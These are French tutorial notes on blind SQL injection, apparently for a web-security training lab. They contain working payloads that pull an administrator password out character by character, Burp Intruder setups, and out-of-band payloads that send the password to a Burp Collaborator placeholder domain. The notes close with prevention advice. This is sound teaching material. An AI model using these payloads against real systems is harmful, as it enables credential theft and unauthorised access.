Blind SQLI

Définition

L'injection SQL aveugle se produit lorsqu'une application est vulnérable à l'injection SQL, mais que les réponses HTTP ne montrent pas les résultats de la requête ni les erreurs de la base de données. Les attaquants exploitent des différences de comportement de l'application pour extraire des données.

Observation d'une sortie

  • Requête originale :

    SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

  • Requête vulnérable à l'injection SQL :

    SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'TIF05QvopnwSjvxa' AND '1'='1'

  1. Condition vraie : TrackingId=xyz' AND '1'='1

    • La requête retourne des résultats.

    • Affiche "Welcome back".

  2. Condition fausse : TrackingId=xyz' AND '1'='2

    • La requête ne retourne pas de résultats.

    • N'affiche pas "Welcome back".

Recherche MDP manuel

xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')>'m

  • Résultat :

    • "Welcome back" affiché : le premier caractère est supérieur à m.

    • "Welcome back" non affiché : le premier caractère n'est pas supérieur à m.

Trouver le premier caractère :

  • Requête :

    xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='s

  • Résultat :

    • "Welcome back" affiché : le premier caractère est s.

Continuer le Processus

Répéter les étapes ci-dessus pour chaque caractère jusqu'à reconstituer le mot de passe complet.

La fonction SUBSTRING peut être nommée SUBSTR selon le type de base de données.

Scénario Pratique

La base de données contient une table appelée users, avec des colonnes nommées username et password. Vous devez exploiter la vulnérabilité d'injection SQL aveugle pour découvrir le mot de passe de l'utilisateur administrateur.

Déterminer le message affiché en cas de réponse vraie :

  • Condition fausse :

    TrackingId=xyz' AND '1'='2

  • Condition vraie :

    TrackingId=xyz' AND '1'='1

Si la condition est vraie, le message "welcome back" apparaît.

Vérifier si la table users existe :

TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

Vérifier si un utilisateur administrateur existe :

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

Vérifier la longueur du mot de passe

  • Envoyer à l'intruder.

  • Définir l'attaque en mode sniper (Le mode sniper permet d'envoyer une seule requête à la fois, en modifiant une seule position dans la requête).

  • Mettre une variable sur le §1§

  • Aller dans Payload > Numbers et définir de 1 à 25.

  • Aller dans Settings et définir le mot "welcome" dans grep match afin de filtrer les réponses et identifier celles qui contiennent le message "welcome back", indiquant que la condition de la requête est vraie.

Lancer l'attaque :

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>§1§)='a

On observe qu'il y a 20 caractères.

Rechercher MDP automatiquement :

  • Définir en mode cluster bomb (Le mode cluster bomb permet de combiner plusieurs payloads pour tester toutes les combinaisons possibles).

  • Mettre cette requête :

    ' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username = 'administrator') = '§a§'--

Fonction SUBSTRING :

La fonction SUBSTRING en SQL est utilisée pour extraire une partie d'une chaîne de caractères. La syntaxe générale est :

SUBSTRING(string, start, length)

  • string : La chaîne de caractères d'origine.

  • start : La position de départ pour l'extraction (la première position est 1).

  • length : Le nombre de caractères à extraire.

  • Définir les deux payloads : le premier pour les nombres (parcourir le mot de passe) et le deuxième pour tester les lettres.

    • Payload 1 :

      §1§

    • Payload 2 :

      §a§

  • Aller dans Settings et définir le mot "welcome" dans grep match puis lancer l'attaque

OAST - out-of-band

Contexte

  • Injection SQL Aveugle Asynchrone : Les requêtes SQL sont exécutées en arrière-plan sans affecter la réponse immédiate de l'application.

  • Problème : Techniques d'injection SQL traditionnelles (temps de réponse, erreurs de base de données) ne fonctionnent pas.

Technique Hors Bande (OAST)

Exploitation de la vulnérabilité SQL pour déclencher des interactions réseau (DNS, HTTP) que l'attaquant peut surveiller.

  • Si une interaction est détectée : L'attaquant sait que la charge utile a été exécutée, ce qui peut confirmer la présence de la vulnérabilité.

  • Si aucune interaction n'est détectée : L'attaquant peut ajuster la charge utile ou la méthode d'injection et recommencer.

  • Génération du Domaine : Créez un sous-domaine unique sur Burp Collaborator.

  • Préparation de la Charge Utile : Concevez une charge utile SQL incluant le domaine généré (ex. : requête DNS ou HTTP vers ce domaine).

  • Injection de la Charge Utile : Injectez la charge utile dans le champ vulnérable de l'application.

  • Surveillance des Interactions : Vérifiez Burp Collaborator pour voir si des requêtes réseau ont été envoyées à votre domaine.

  • Analyse des Résultats : Confirmez la présence de la vulnérabilité et récupérez des informations si des interactions sont détectées.

Utilisation de DNS pour OAST

  • Pourquoi DNS ? : Beaucoup de réseaux permettent les requêtes DNS sans restrictions, ce qui les rend idéales pour l'exfiltration de données.

  • Outil Principal : Burp Collaborator (Créer un sous-domaine pour pour détecter les interactions réseau)

Exemple Pratique : Microsoft SQL Server

Test de connexion au serveur 

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

Exfiltration de Données Sensibles

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

But : Exfiltrer le mot de passe de l'utilisateur administrator en déclenchant une requête HTTP vers le sous-domaine de Burp Collaborator avec les données extraites.

Requête Générale pour Exfiltration de Données Sensibles

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+COLUMN+FROM+TABLE+WHERE+CONDITION)||'.INSERT-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

Second-order SQL Injection : Cette vulnérabilité se produit lorsque les données malveillantes ne sont pas immédiatement exploitées. Elles sont stockées (par exemple, dans une base de données) et ultérieurement utilisées dans une autre requête SQL vulnérable. L'injection ne devient visible qu'à cette étape ultérieure, rendant la détection plus complexe.

Prévention des Injections SQL

1. Utiliser des Requêtes Paramétrées

Qu'est-ce que c'est ? Les requêtes paramétrées, aussi appelées "requêtes préparées", permettent de séparer les instructions SQL des données que vous voulez insérer. Cela empêche les données malveillantes d'être interprétées comme du code SQL.

Comment faire ?

  • Java :

    String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username); // `username` est la donnée entrée par l'utilisateur
ResultSet resultSet = statement.executeQuery();

  • PHP :

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]); // `$username` est la donnée entrée par l'utilisateur
$result = $stmt->fetch();

2. Valider les Entrées Utilisateur

Qu'est-ce que c'est ? Valider les données utilisateur consiste à vérifier que les entrées sont du bon type et format avant de les utiliser.

Comment faire ?

  • Exemple : Assurez-vous qu'un champ de date contient bien une date et non du texte aléatoire.

3. Échapper les Données

Qu'est-ce que c'est ? Échapper les données signifie transformer les caractères spéciaux en une forme sûre avant de les inclure dans des requêtes SQL ou d’autres contextes.

Comment faire ?

  • Pour SQL : Utilisez des outils ou des bibliothèques qui échappent automatiquement les caractères dangereux dans les chaînes de caractères.

  • Exemple en PHP :

    $safe_username = mysqli_real_escape_string($conn, $username);

4. Limiter les Privilèges de la Base de Données

Qu'est-ce que c'est ? Donner uniquement les permissions nécessaires à chaque compte de base de données. Par exemple, un compte utilisé pour lire des données n'a pas besoin de permissions pour supprimer des tables.

Comment faire ?

  • Configuration : Assurez-vous que les comptes de base de données n'ont que les privilèges nécessaires pour leur fonction.

5. Mettre en Place des Mécanismes de Sécurité Supplémentaires

Qu'est-ce que c'est ? Utiliser des pare-feu d'application web (WAF) et des outils de détection pour surveiller et bloquer les tentatives d'injection SQL.

Comment faire ?

  • Outils : Intégrez des solutions comme un WAF ou des scanners de vulnérabilités pour détecter des comportements suspects.

Résumé Simple :

  1. Utilisez des requêtes paramétrées pour éviter que les données utilisateur ne modifient les requêtes SQL.

  2. Validez les données utilisateur pour s'assurer qu'elles sont correctes avant de les utiliser.

  3. Échappez les caractères spéciaux pour les protéger dans les requêtes SQL.

  4. Limitez les privilèges de la base de données pour réduire les risques en cas d'attaque.

  5. Ajoutez des mécanismes de sécurité supplémentaires comme les pare-feu d'application web.

En appliquant ces mesures, vous pouvez réduire considérablement le risque d'attaques par injection SQL dans vos applications.

PreviousSQLINextError-based

Last updated